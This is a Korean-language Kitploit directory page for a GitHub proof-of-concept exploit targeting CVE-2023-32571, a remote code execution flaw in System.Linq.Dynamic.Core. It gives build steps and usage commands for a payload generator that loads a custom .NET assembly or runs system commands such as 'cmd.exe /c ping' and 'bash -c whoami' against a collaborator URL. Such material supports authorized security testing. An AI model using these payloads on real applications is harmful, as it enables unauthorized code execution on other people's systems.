Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/sectex/cve-2023-32571
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubsectex/cve-2023-32571

CVE-2023-32571

CVE-2023-32571에 대한 개념 증명

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core 원격 코드 실행

CVE-2023-32571에 대한 개념 증명(Proof of Concept)으로, System.Linq.Dynamic.Core(1.0.7.10 ~ 1.2.25)의 원격 코드 실행 취약점입니다. 이 취약점은 Where, Select, OrderBy를 포함한 메서드에 신뢰할 수 없는 입력이 파싱될 때 공격자가 임의 코드와 명령을 실행할 수 있게 합니다.

⚠️ 면책 조항

이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.

🎯 사전 요구 사항

  • .NET 9.0 SDK 이상
  • 취약한 버전의 System.Linq.Dynamic.Core(1.0.7.10 ~ 1.2.25)를 사용하는 대상 애플리케이션
  • 콜백을 관찰하기 위한 협력 서버(예: Burp Collaborator, Interactsh)

🛠️ 프로젝트 빌드

  1. 프로젝트 빌드:
    root@kitploit:~
    dotnet build --configuration Release
    
    빌드 결과물:
    • Payload/bin/Release/netstandard2.0/Payload.dll 경로의 Payload DLL
    • Generator/bin/Release/net9.0/Generator.dll 경로의 Payload Generator

🚀 사용법

모드

이 도구는 두 가지 모드를 지원합니다:

  1. AssemblyLoad (모드 0): 사용자 지정 .NET 어셈블리 로드 및 실행
  2. ProcessStart (모드 1): Process.Start를 통해 시스템 명령 직접 실행

모드 0: AssemblyLoad (기본값)

root@kitploit:~
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
root@kitploit:~
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

모드 1: ProcessStart (직접 명령 실행)

root@kitploit:~
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ 매개변수

  • --mode: 익스플로잇 모드 (0=AssemblyLoad, 1=ProcessStart)
  • --file: 로드할 .NET 어셈블리 경로 (AssemblyLoad 모드에서 필수)
  • --type: 인스턴스화할 정규화된 형식 이름 (AssemblyLoad 모드에서 필수)
  • --parameters: 모드에 따른 매개변수:
    • AssemblyLoad: 생성자 매개변수 (쉼표로 구분)
    • ProcessStart: 실행할 명령 (예: 'cmd.exe /c whoami' 또는 'bash -c whoami')
  • --encoding: AssemblyLoad 모드의 인코딩 방식 (0=Hex, 1=Base64)

📚 참고 자료

  • NIST NVD
  • NCCGROUP Advisory
  • System.Linq.Dynamic.Core GitHub Repository
도구 다운로드